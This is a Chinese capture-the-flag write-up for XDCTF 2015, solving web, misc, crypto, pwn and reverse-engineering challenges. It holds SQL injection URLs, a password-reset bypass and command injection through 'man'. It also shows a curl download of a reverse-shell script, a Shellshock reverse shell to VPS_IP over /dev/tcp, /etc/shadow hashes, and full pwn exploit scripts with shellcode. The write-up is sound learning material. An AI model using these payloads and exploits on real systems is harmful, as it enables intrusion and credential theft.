IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    第六届西电信息安全大赛XDCTF2015 WriteUp

    SP胖编发表于 2015-10-07 03:57:34
    love 0

    比赛介绍 见安全脉搏:2015年第六届全国网络安全大赛(XDCTF)

    top10

    web1-100

    坑。。
    http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php?test=aaaa
    看题意。 。 。 以为要找一个hash和5008e9a6ea2ab282a9d646befa70d53a
    一样。。。
    爆破俩小时、、、无果
    御剑扫路径 得到
    http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php~
    右键源码
    PHPJM加密后的php文件 解密

    web1_100
    双= 弱类型
    zone里面ph牛已经给了答案
    http://zone.wooyun.org/content/20172

    web1_100_2

    随便拿其中一个就行了。

    <?php 
    var_dump(md5('240610708') == md5('QNKCDZO')); 
    var_dump(md5('aabg7XSs') == md5('aabC9RqS')); 
    ?>
    

    http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php?test=240610708
    出flag
    web1_flag

    web1-200

    http://flagbox-23031374.xdctf.win:1234/

    先查看页面源码,发现一个examples目录。

    http://flagbox-23031374.xdctf.win:1234//examples/ 进去发现要登录,提示说

    Let Me Guess.. U 4re N0t Administrator!!!
    

    然后尝试了很久的注入,并没有成功。然后放到扫描器里面一扫,有惊喜。

    web1-200-1

     

    http://flagbox-23031374.xdctf.win:1234/examples/servlets/servlet/SessionExample

    看到这个之后,就觉得是session操作。然后输入user=Administrator

    web1-200-2

     

    然后提示,not login。然后把login改为1。在这个点的时候,我尝试了很多改cookie啥的。发现总是不行。

    后面发现要把login改为true,也是醉了。

    web1-200-3

    web1-300

    http://133.130.90.188/

    这是一个ssrf,一去进去就是一个框框。直接尝试file://index.php 然后就把index.php的源码读到了。

    <?php
            if (isset($_GET['link'])) {
                $link = $_GET['link'];
                // disable sleep
                if (strpos(strtolower($link), 'sleep') || strpos(strtolower($link), 'benchmark')) {
                    die('No sleep.');
                }
    
                if (strpos($link,"http://") === 0) {
                    // http
                    $curlobj = curl_init($link);
                    curl_setopt($curlobj, CURLOPT_HEADER, 0);
                    curl_setopt($curlobj, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
                    curl_setopt($curlobj, CURLOPT_CONNECTTIMEOUT, 10);
                    curl_setopt($curlobj, CURLOPT_TIMEOUT, 5);
                    $content = curl_exec($curlobj);
                    curl_close($curlobj);
                    echo $content;
    
                } elseif (strpos($link,"file://") === 0) {
                    // file
                    echo file_get_contents(substr($link, 7));
                }
    
            } else {
                echo<<<EOF
            <!--你瞅啥-->
    

    然后继续读取文件。读hosts文件

    # The following lines are desirable for IPv6 capable hosts
    ::1     localhost ip6-localhost ip6-loopback
    ff02::1 ip6-allnodes
    ff02::2 ip6-allrouters
    127.0.0.1    9bd5688225d90ff2a06e2ee1f1665f40.xdctf.com
    

    然后看到一个绑定hosts的地址。然后去访问发现就是这个页面,看到这个经验告诉我这上面肯定还有其他的网站,不然没有必要绑定host。然后就想去读nginx的配置文件,fuzz了很久都没读取到。后面就想想会不会是在其他的端口,然后开burp爆破。

    web1-300-1

     

    好 家伙,果然有猫腻。3389端口是个dz7.2.然后打了一发faq的注入,发现不行。然后还是回到死胡同去猜文件路径,然后去读uc key。因为我以为uckey就是flag。后面再这里卡了很久,然后最后发现faq注入没成功的原因是因为编码问题,需要urlencode一下。这个 解决后,那就直接上sqlmap跑。最后发现admin的密码就是flag

    web1-300-2

    web1-400

    这个题目是给了提示之后才做出来的,给的提示是” 然后就去测试,其中在那个图片内容最下面提示你

    <!--Please input the ID as parameter with numeric value-->
    

    先测试
    http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3“ or 1%23
    返回图片
    http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3“ or 0%23
    返回Picture not found!
    很明显这是一个盲注。然后继续测试,发现过滤了很多东西,一旦出现select substr left right ascii mid
    这些关键字是永真。然后一直在fuzz,最后发现学长写的一篇文章http://laterain.sinaapp.com/?p=196 提到了一种正则盲注的方法

    http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or user() REGEXP '^1' %23 为假
    
    http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or user() REGEXP '^x' %23 为真
    

    说明user()是以x开头。然后就这样猜解。但是到后面准备猜解其他表的内容,要用到select。但是这个是直接匹配的select,并不是检查的连接处。后面想起这个案例
    http://www.wooyun.org/bugs/wooyun-2015-0101960
    会不会我们要猜的数据就和当前的数据在同一个表里面呢。
    然后经过一顿fuzz之后,好家伙果然就是这个。

    http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or password REGEXP '^1' %23  为假
    
    http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or password REGEXP '^5' %23 为真
    

    说明password字段的第一个值为5开头。然后就这样一直跑最后得到hash 5832f4251cb6f43917df
    二十位的hash让我想起了dede,然后去掉前三后一解密

    2f4251cb6f43917d    md5    lu5631209
    

    然后登陆拿到flag

    web1-400

    web2-200

    发现有git泄露,然后用脚本下载

    ./rip-git.pl -v -u http://xdsec-cms-12023458.xdctf.win/
    

    然后恢复源码

    git log
    
    git reset -hard d16ecb1
    

    然后在index.php里面发现flag

    Congratulation, this is the [XDSEC-CMS] flag 1
    
    XDCTF-{raGWvWahqZjww4RdHN90}
    

    web2-100

    看到了hint

    100 前台逻辑漏洞,做出此题可获得进入300的钥匙
    

    然后又发现有人在ph这个用户里面发文章。觉得就是在找回密码这一块有问题,然后仔细看这一块的代码。
    发现两个关键点

    public function handle_resetpwd()
        {
            if(empty($_GET["email"]) || empty($_GET["verify"])) {
                $this->error("Bad request", site_url("auth/forgetpwd"));
            }
            $user = $this->user->get_user(I("get.email"), "email");
            if(I('get.verify') != $user['verify']) {
                $this->error("Your verify code is error", site_url('auth/forgetpwd'));
            }
            if($this->input->method() == "post") {
                $password = I("post.password");
                if(!$this->confirm_password($password)) {
                    $this->error("Confirm password error");
                }
                if(!$this->complex_password($password)) {
                    $this->error("Password must have at least one alpha and one number");
                }
                if(strlen($password) < 8) {
                    $this->error("The Password field must be at least 8 characters in length");
                }
                $this->user->update_userinfo([
                    "password" => $password,
                    "verify" => null
                ], $user["uid"]);
                $this->success("Password update successful!", site_url("auth/login"));
            } else {
                $url = site_url("auth/resetpwd") . "?email={$user['email']}&verify={$user['verify']}";
                $this->view("resetpwd.html", ["form_url" => $url]);
            }
        }
    

    在这个函数里面首先我们要过这个判断

    if(empty($_GET["email"]) || empty($_GET["verify"])) {
                $this->error("Bad request", site_url("auth/forgetpwd"));
            }
    

    email在源码中给出来了

    <meta name="author" content="xdsec-cms@xdctf.com"/>
    

    然后verify这个是找回密码的一个验证key。其生成方式是md5(uniqid(mt_rand())),开始想着是不是这个值可以预测,然后决定自己太天真了。我们继续往下面看代码

    $this->user->update_userinfo([
                    "password" => $password,
                    "verify" => null
                ], $user["uid"]);
    

    这段代码说明,每次在找回密码之后都会把verify重置为NULL。好家伙,感觉问题的关键就在这里了。然后我自己写一段测试代码

    <?php
    $conn = mysql_connect("127.0.0.1","root","");
    
    mysql_select_db("mysql", $conn);
    
    $sql1 = "update `user` SET password = NULL where host = 'locathost' ";
    
    $sql2 = "select password from user where host='localhost' limit 1,1";
    
    mysql_query($sql1);
    
    $result = mysql_query($sql2);
    
    while($row = mysql_fetch_array($result))
      {
        var_dump($row['password']);
      }
    
    $id = @$_GET['id'];
    
    if($id == $row['password']){
    
      echo 'success';
    
    }
    ?>
    

    当我id穿入一个空格的是时候打印的是success,这就证明php在做比较的时候把空格和NULL相等了。

    然后回到CMS里面,我们将verify赋为空格,然后成功重置ph用户的密码。

    web2-100

     

    登录进去之后就发现了flag

    其实发现网站上的源码和本地的源码不一样,因为我点击找回密码之后。应该生成了一个verify到数据,但是这个时候数据库的verify并没有生成。因为我通过空格还是成功修改了密码。

    web2-100-2

     

    Misc100

    根据官方提示braiontools github下载下来,按照帮助手册
    bftools.exe decode braincopter zzzzzyu.png --output --out.png
    根据提示上github找源码.. 编译之后 –help看一下使用方式
    两行命令就可以出flag

    misc_100

    misc_100_2

    Misc200

    提示是zip,查阅了资料大概是 zip已知明文攻击
    还原可以得到readme.txt的内容,接下来用

    misc-200-1
    这个软件或者PKCrack都可以..
    得到flag

    misc-200-2

    MISC500

    扫描 ctf.kfd.me 的端口,发现 31337 是服务端口,nc 连上之后看到提示:
    Do you know what's the most useful command in linux?
    可知道是 man 命令,man 命令的-P 参数可以执行其他命令.
    执行 man -P set & 可以看到程序相关的逻辑代码:
    check_lenth ()
    {
    count=$(echo $1 | wc -m);
    if [[ $count -gt $2 ]]; then
    echo "Argument too long, 40 limit.";
    exit 2;
    fi
    }
    clean_up ()
    {
    if [[ -z $chat_room ]]; then
    cat bye;
    exit;
    else
    echo -e "\033[1;34m$msg_date\033[0m\033[1;31m $username
    \033[0m\033[1;34mleaved room\033[0m \033[1;36m \"$room_name\"
    \033[0m" >> $chat_room;
    cat bye;
    exit;
    fi
    }
    hander ()
    {
    m_cmd=$1;
    m_option=$2;
    m_selfcmd=$@;
    if [[ $m_cmd == 'man' ]]; then
    if [[ $m_option == '-P' ]]; then
    if [[ -n `echo $m_selfcmd | grep "\""` && `echo $m_selfcmd
    | cut -d "\"" -f 3` != '' ]]; then
    m_selfcmd=`echo $m_selfcmd | cut -d "\"" -f 2`;
    else
    if [[ -n `echo $m_selfcmd | grep "'"` && `echo $m_selfcmd
    | cut -d "'" -f 3` != '' ]]; then
    m_selfcmd=`echo $m_selfcmd | cut -d "'" -f 2`;
    else
    if [[ $3 == '' ]]; then
    echo "man: option requires an argument -- 'P'
    Try 'man --help' or 'man --usage' for more information.";
    fi;
    [[ $4 != '' ]] && m_selfcmd=$3 || echo "What manual
    page do you want?";
    fi;
    fi;
    if [[ $m_selfcmd == 'whoami' ]]; then
    echo "root";
    else
    if [[ -n `echo $m_selfcmd | grep -E
    "vim|vi|sh|kill|pkill|socat|nc|ncat|nmap|rm|chmod|passwd|etc|root|exp
    ort|PATH"` ]]; then
    echo "No way.";
    else
    `$m_selfcmd > m_return` &> /dev/null;
    cat m_return;
    fi;
    fi;
    else
    if [[ $m_option != '' ]]; then
    if [[ `man $m_option` == '' ]]; then
    echo "man: option requires an argument --'$m_option'
    Try 'man --help' or 'man --usage' for more information.
    ";
    else
    `man $m_option > tmp` &> /dev/null;
    cat tmp;
    fi;
    else
    echo "What manual page do you want?";
    fi;
    fi;
    else
    echo "invalid command";
    fi
    }
    分析代码后发现可以用 man -P "命令" &的方式执行任意命令(前提是命令内容
    不能包含
    :vim|vi|sh|kill|pkill|socat|nc|ncat|
    nmap|rm|chmod|passwd|etc|root|export|PATH 这些字段)
    于是继续:
    man -P "ls -al" & 可以看到有一个 flag?目录
    man -P "ls -al flag\?/" & 可以看到 flag.php 的大小跟其他的不一样
    man -P "cat flag\?/flag.php" & 可以看到 Oh, by the way, follow my shadow.
    的提示
    猜测是查看/etc/shadow 但是命令中不能包含 etc 字段,于是
    man -P "curl -o /tmp/1 xx.xx.xx.xx/1" & 从我的 vps 上下载一个 python 的
    反弹 shell 的脚本.
    man -P "python /tmp/1" & 执行脚本,成功拿到 shell
    通过反弹的 shell 查看/etc/shadow 得到:
    root:$6$ZuPfdsng$eN.xStmAbo5SCRQm9bHpA6wtrZisadNJn9lOE./2ks3C.vUVxnKJ
    AUIZM6PA7IEphcTgOzo4wOBz.wwD9CSDJ1:16709:0:99999:7:::
    daemon:*:16661:0:99999:7:::
    bin:*:16661:0:99999:7:::
    sys:*:16661:0:99999:7:::
    sync:*:16661:0:99999:7:::
    games:*:16661:0:99999:7:::
    man:*:16661:0:99999:7:::
    lp:*:16661:0:99999:7:::
    mail:*:16661:0:99999:7:::
    news:*:16661:0:99999:7:::
    uucp:*:16661:0:99999:7:::
    proxy:*:16661:0:99999:7:::
    www-data:*:16661:0:99999:7:::
    backup:*:16661:0:99999:7:::
    list:*:16661:0:99999:7:::
    irc:*:16661:0:99999:7:::
    gnats:*:16661:0:99999:7:::
    nobody:*:16661:0:99999:7:::
    libuuid:!:16661:0:99999:7:::
    syslog:*:16661:0:99999:7:::
    neighbor-old-wang:$6$5/yy2vJZ$Xp1MZOp4D5squxZLmgN4TLV5ktfUP2LD5Rp6l07
    lzyUCEES97px/a1EoIM8ZjygGrXdUDYGcoD9lGiCigosdI/:16710:0:99999:7:::
    ctf:$6$tcSIbi8j$lDog8sNj0U0m.LuAy8u/MRInv9UP33HQTcPhvHFfSTgDajN.4HGJo
    pG1PKMqOYVE7MdhDSlN6K/4DzNrEhy5D1:16709:0:99999:7:::
    sshd:*:16701:0:99999:7:::
    扔到 john 里跑一下,得到 neighbor-old-wang 的密码为 666666
    ssh 连上之后查看.bash_history 文件
    发现让从 www.flag.com 里面找 flag,
    从/etc/hosts 里发现 www.flag.com 指向的 172.17.0.1
    而本机是 172.17.0.4 不是一台机器
    于是 curl www.flag.com
    看到一段 JS 脚本:
    function status() {
    $.getJSON("/cgi-bin/status", function (data) {
    $.each( data, function( key, val ) {
    $('#infos').append ( "<li><b>"+key+"</b>: " + val +
    "</li>" );
    });
    });
    }
    看到/cgi-bin/status,感觉是 Shellshock 漏洞,
    执行
    curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/VPS_IP/8899 0>&1'
    http://www.flag.com/cgi-bin/status
    成功得到第二台主机的 shell
    cat /etc/passwd 得到最终 flag:
    xdctf{where_there_is_a_shell_there_is_a_way}

     

    CRYPTO-200:

    字节翻转攻击,我们只需要构造出一个密文,使得密文的明文里面有;admin=true 即可,然
    而;被过滤了,所以要通过字节翻转攻击来构造出;。
    首先通过 parse 的字节递增来利用逻辑得到每一个 block 的大小为 16,然后他前置的字节数
    是 32 所以我们使输入的字节为:0admin=true,然后利用字节翻转攻击,在第二个 block 的
    第一个字节的值异或上’0’再亦或上’;’就可以达到在密文被解密的时候出现;admin=true 字
    样。

    __author__ = 'bibi'
    #nc 133.130.52.128 6666
    from zio import *
    #io=zio(("133.130.52.128",6666))
    
    def attack():
    	prefix = "comment1=wowsuch%20CBC;userdata="#32
    	suffix = ";coment2=%20suchsafe%20very%20encryptwowww"#42
    	print len(prefix)
    	print len(suffix)
    	need="0admin=true"
    	
    	io=zio(("133.130.52.128",6666))
    	io.write("mkprof:"+need+"\n")
    	chushi=io.read_until("\n")
    	print chushi
    	
    	e=chr(ord((chushi[16*2]+chushi[16*2+1]).decode("hex"))^ ord('0') ^
    	ord(';')).encode("hex")
    	print e
    	cc=chushi[0:16*2]+e+chushi[16*2+2:-1]
    	io=zio(("133.130.52.128",6666))
    	io.write("parse:"+cc+"\n")
    	io.read_until("\n")
    	print len(chushi)/2
    attack()
    '''
    for l in range(5,0xff):
    	io=zio(("133.130.52.128",6666))
    	test="aa"*l
    	io.write("parse:"+test+"\n")
    	io.read_until("\n")
    	raw_input()
    '''
    #print len("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")/2
    

    pwn100

    用瀚海源的 文件b超.
    https://b-chao.com/
    pwn100_1

    pwn200

    漏洞很明显,但没有libc,之前想着dump内存,把libc dump出来的,没弄好,后来找了个模板改下了就好了.

    dl-resolve-i386.py

    pwn300

    程序自己写了个堆管理,然后有个堆溢出.通过edit修改堆的类型即可覆盖下一个堆的结构,接着用del阔以修改4个字节.

    利用的话:
    1:先修改存堆地址的那部分,0x0804b060,通过show_girl()来泄露堆地址
    2:在堆里放shellcode,然后修改got_exit()指向shellcode

     

    漏洞:
    在 edit 功能中可以重新设置新的 type 值,导致堆溢出。
    利用:
    这块堆是程序自己维护的堆。堆头部包含 12 字节,大致如下。
    struct heap_header
    {
    +0 size
    +4 *next
    +8 *prev
    }
    存在一个双链表,同时程序没有开启 NX,所以可以通过伪造堆头,在 delete 时实现任
    意地址写任意数据。
    Ps:程序在 delete 函数中有如下代码,不过感觉出题人写错了函数。堆头为 0xc 字节,
    V2=a1-0xc 才对。题目给出的程序连个正常的 delete 功能都没有。

    pwn300
    脚本如下:

    from zio import *
    target = './pwn3'
    target = ('133.130.90.210', 6666)
    
    
    def add(io, type):
        io.read_until('ce:')
        io.writeline('1')
        io.read_until(':')
        io.writeline(str(type))
        
    def edit(io, id, type, buf):
        io.read_until('ce:')
        io.writeline('3')
        io.read_until(':')
        io.writeline(str(id))
        io.read_until(':')
        io.writeline(str(type))
        io.read_until(':')
        io.write(buf)
        
    def delete(io, id):
        io.read_until('ce:')
        io.writeline('2')
        io.read_until(':')
        io.writeline(str(id))
        
    def show(io, id):
        io.read_until('ce:')
        io.writeline('4')
        io.read_until(':')
        io.writeline(str(id))
        io.read_until('bbbb')
        heap_ptr = l32(io.read(4))
        print hex(heap_ptr)
        return heap_ptr
    
    def exp(target):
        #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'),
        print_write=COLORED(REPR, 'green'))
        io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
        print_write=COLORED(RAW, 'green'))
        add(io, 0) #0x0804d01c
        add(io, 0) #0x0804d09c
        edit(io, 0, 1, 'a'*0x74+'bbbb')
        heap_ptr = show(io, 0)
        put_got = 0x0804B014
        shellcode3 = "\xeb\x1e"
        shellcode3 = shellcode3.ljust(0x20, 'a')
        shellcode3 +=
        "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\
        xcd\x80"
        shellcode3 = shellcode3.ljust(0x70, 'a')
        io.gdb_hint()
        edit(io, 0, 1, shellcode3+l32(0x81)+l32(heap_ptr-0x0804d110+0x0804d01c)+l32(put_got-4))
        delete(io, 1)
        io.interact()
    exp(target)
    

    pwn400

    整型溢出
    如下图所示,在sub_8048c86()的函数调用中,v13 是个2字节的变量,并且是可控的,前面的判断逻辑即可使(v13+2)溢出来绕过
    pwn400_1

    在sub_8048c86中,这里传递n是一个大数,就阔以读取到flag了.
    pwn400_2

    脚本如下:

    from zio import *
    	target = ('159.203.87.2', 8888)
    	#target = ('127.0.0.1',8888)
    def exp(target):
    	#io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'),
    	print_write=COLORED(REPR, 'green'))
    	io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
    	print_write=COLORED(RAW, 'green'))
    	data = 'a'*0x15
    	data += 'PK\x01\x02'
    	data += 0x18*'a'
    	data += l16(0xffff)
    	data=data.ljust(0x45, 'a')
    	io.writeline(data)
    	io.interact()
    

    Pwn500

    漏洞:
    1. 在 take_exam 中, 程序创建了一个子进程来让用户输入 essay, 不过其中存在一个栈溢出。
    分配的空间大小为 96,但是最多能读入 104,溢出 8 个字节,只能覆盖到 rbp,并不能
    覆盖到 rip。同时子进程很快就调用 exit 退出了。看起来并没有什么卵用。但是如果因为
    栈溢出导致子进程提前崩溃,那么子进程写入到文件中的字节数将为 0。
    2. 在 resit 中,v3 对应结构体如下:
    struct exam_info{
    +0 type
    +4 real_len
    +8 want_len
    +16 *essay
    +24 sub_4013f0
    }
    程序调用 sub_4013f0处的函数, 里面如果考试成绩小于60, 就会将对应的 essay 内存 free
    掉。而当 real_len=0 时,*essay 指针不会被清 0,指向被释放的内存。而 real_len 为子进
    程写入文件中的字节个数,在栈溢出的情况下可以为 0.
    3. 通过 uaf 伪造 v3 结构,可以达到控制函数指针,同时能控制第一个参数所指向内存中的
    内容。
    使用 printf(“%11$p”)格式化,可以泄露栈上的 libc_start_main 函数。
    然后通过 system(“/bin/sh”)拿到 shell。
    Ps: v3 结构体实际只用到了 32 字节,但是程序申请大小时大小为 0x68,使得重新申请时,
    刚好能占用刚 free 的内存,实现 uaf。
    脚本如下:

    from zio import *
    	target = './pwn5-jwc'
    	target = ('128.199.232.78', 5432)
    	
    def register(io, name, intro):
    	io.read_until('exit\n')
    	io.writeline('1')
    	io.read_until('\n')
    	io.writeline(name)
    	io.read_until('\n')
    	io.writeline(intro)
    	
    def exam(io, len, essay):
    	io.read_until('exit\n')
    	io.writeline('2')
    	io.read_until('dota\n')
    	io.writeline('1')
    	io.read_until('?\n')
    	io.writeline(str(len))
    	io.read_until('OK')
    	io.write(essay)
    	io.write('\n')
    	
    def resit(io):
    	io.read_until('exit\n')
    	io.writeline('5')
    	io.read_until('dota\n')
    	io.writeline('1')
    	
    def exam2(io, len, essay):
    	io.read_until('exit\n')
    	io.writeline('2')
    	io.read_until('dota\n')
    	io.writeline('2')
    	io.read_until('?\n')
    	io.writeline(str(len))
    	io.read_until('OK')
    	io.write(essay)
    	io.write('\n')
    	
    def cheat(io, payload):
    	io.read_until('exit\n')
    	io.writeline('1024')
    	io.writeline('1')
    	io.writeline(payload)
    	
    def leak(io):
    	io.read_until('exit\n')
    	io.writeline('3')
    	io.read_until('0\n')
    	libc_main = int(io.read_until('english').split('english')[0], 16)
    	print hex(libc_main)
    	libc_base = -0x7ffff7a36ec5 + 0x00007ffff7a15000 + libc_main
    	print hex(libc_base)
    	return libc_base
    	
    def exp(target):
    	#io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'),
    	print_write=COLORED(REPR, 'green'))
    	io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
    	print_write=COLORED(RAW, 'green'))
    	register(io, 'ling', 'abcd')
    	exam(io, 104, 'a'*104)
    	resit(io)
    	exam2(io, 50, 'a'*50)
    	payload = "%11$p"
    	payload = payload.ljust(0x18,'\x00')
    	payload += l64(0x00000000004009B0)
    	cheat(io, payload)
    	libc_base = leak(io)
    	system = libc_base - 0x00007ffff7a15000 + 0x7ffff7a5b640
    	print hex(system)
    	payload = "/bin/sh;"
    	payload = payload.ljust(0x18,'\x00')
    	payload += l64(system)
    	cheat(io, payload)
    	io.writeline('3')
    	io.interact()
    	
    exp(target)
    

    Re100

    运行起来main函数有个ptrace反调试,修改返回值过了。之后输入的12位字符串 与”ZzAwZF9DcjRrM3JfZzBfb24=”循环异或再异或7,通过这个函数计算最后获得的返回是Congratulations? Key is XDCTF{Input},是个问号,在.fini_array中还有一个相似的函数再进行一次验证,这次验证成功后会把问号改成感叹号,所以正在的验证 应该是.fini_array中的。而两个函数的差别就是第一个要异或7,.fini_array中的不异或7.

    Re100-1

    第二步位置变换

    Re100-2

    第三步判断异或之后如果小于0x1f,就加0x20

    Re100-3

    最 后结果与[0x3B, 0x25, 0x23, 0x38, 0x34, 0x38, 0x4E, 0x21, 0x30, 0x5A, 0x3F, 0x37, 0x27, 0x25, 0x32, 0x33, 0x5D, 0x2F, 0x35, 0x23, 0x31, 0x22, 0x59, 0x58]比较

    解密代码:

    #coding=utf-8
    
    
    key = [0x3B, 0x25, 0x23, 0x38, 0x34, 0x38, 0x4E, 0x21, 0x30, 0x5A, 0x3F, 0x37, 0x27, 0x25, 0x32, 0x33, 0x5D, 0x2F, 0x35, 0x23, 0x31, 0x22, 0x59, 0x58]
    res = ""
    key2 = "ZzAwZF9DcjRrM3JfZzBfb24="
    
    for i in range(24):
        if key[i] > 0x1f and key[i] <= 0x3f:
            key[i] = key[i] - 0x20
    
    print key
    for i in range(12):
        tmp = key[i]
        key[i] = key[17 - i]
        key[17 - i] = tmp
    
    print key
    print key2
    
    for i in range(12):
        res += chr(key[i] ^ ord(key2[i]))
    
    
    print res
    print len(res)
    


    转为小写即可

    Re200

    代码加密保存,运行时解密,首先ida找到被加密代码的地方,od运行起来之后代码被解密,下断,第二次运行时先禁用断点,运行起来,激活断点就可以断在比较XDCTF的地方

    Re200-1

    根据代码一部分一部分修正输入即可复原处flag

    Re200-2

    flag: XDCTF{Congra_tUlat$eyOu}

    Re400

    输入的name,key全转为大写

    计算machine code

    Re400-1

    通过name计算一个35位的key

    Re400-2

    把machine code、name计算得到的key和输入的key转存在这里,每个字符用一个dword存放

    Re400-3

    变换name计算出的key的顺序

    Re400-4

    通过machine code计算出一块数据(a)
    Re400-5

    触发异常,进入SEH

    Re400-6

    检测CC断点

    Re400-7

    用代码段的代码的二进制填充一段缓冲区

    Re400-8

    上一步提到的缓冲区经过运算变形(b)

    Re400-9

    通过之前的数据(a)(b)计算查表得到最终的注册码

    Re400-10

     

    Re500

    很快定位到关键代码。

    Rev500
    经过分析,程序调用的 3 个 GetDlgItemTextA 中只有第一个是有用的,另外两个没用,只会
    导致程序提前推出,需要通过 patch 或者通过调试器跳过那两个函数调用。
    之后就是纯分析算法了。
    程序中使用了很多浮点指令,通过调试器查看内存,大概也能理清楚。
    程序中有个 des 解密函数,并且在解密前后作者打印出了明文和密文。
    最后函数过程大致如下:

    from zio import *
    import pyDes
    
    input = '12345678901234567890123456789012'
    plain_text = UNHEX(input)
    print len(plain_text)
    key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5"
    des = pyDes.des(key)
    crypt_text = (des.decrypt(plain_text))
    print len(crypt_text)
    #need crypt_text[0x10:0x18] == '\x08' * 8
    final = ''
    for i in range(16):
    	index = (i + 2) % 16
    	final += crypt_text[index:index + 1]
    final2 = ''
    for i in range(16):
    	final2 += chr(l8(final[i:i+1])^0xe4)
    #need final2 == mc
    

    写了个逆向过程:

    from zio import *
    import pyDes
    mc = UNHEX('D85EB0EEE39E5DFE6279FFC555AC8621')
    final = ''
    for i in range(16):
    	final += chr(l8(mc[i:i+1])^0xe4)
    crypt_text = final[2:16]+final[0:2]
    crypt_text += '\x08'*8
    key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5"
    des = pyDes.des(key)
    plain_text = des.encrypt(crypt_text)
    print len(plain_text)
    print HEX(plain_text).upper()
    

    关注往年战题,2014年第五届全国网络安全大赛(XDCTF)参见:XDCTF2014 Writeup之Web和Crack篇

    【作者:InkSec & syclover  安全脉搏SP小编整理编辑发布】



沪ICP备19023445号-2号
友情链接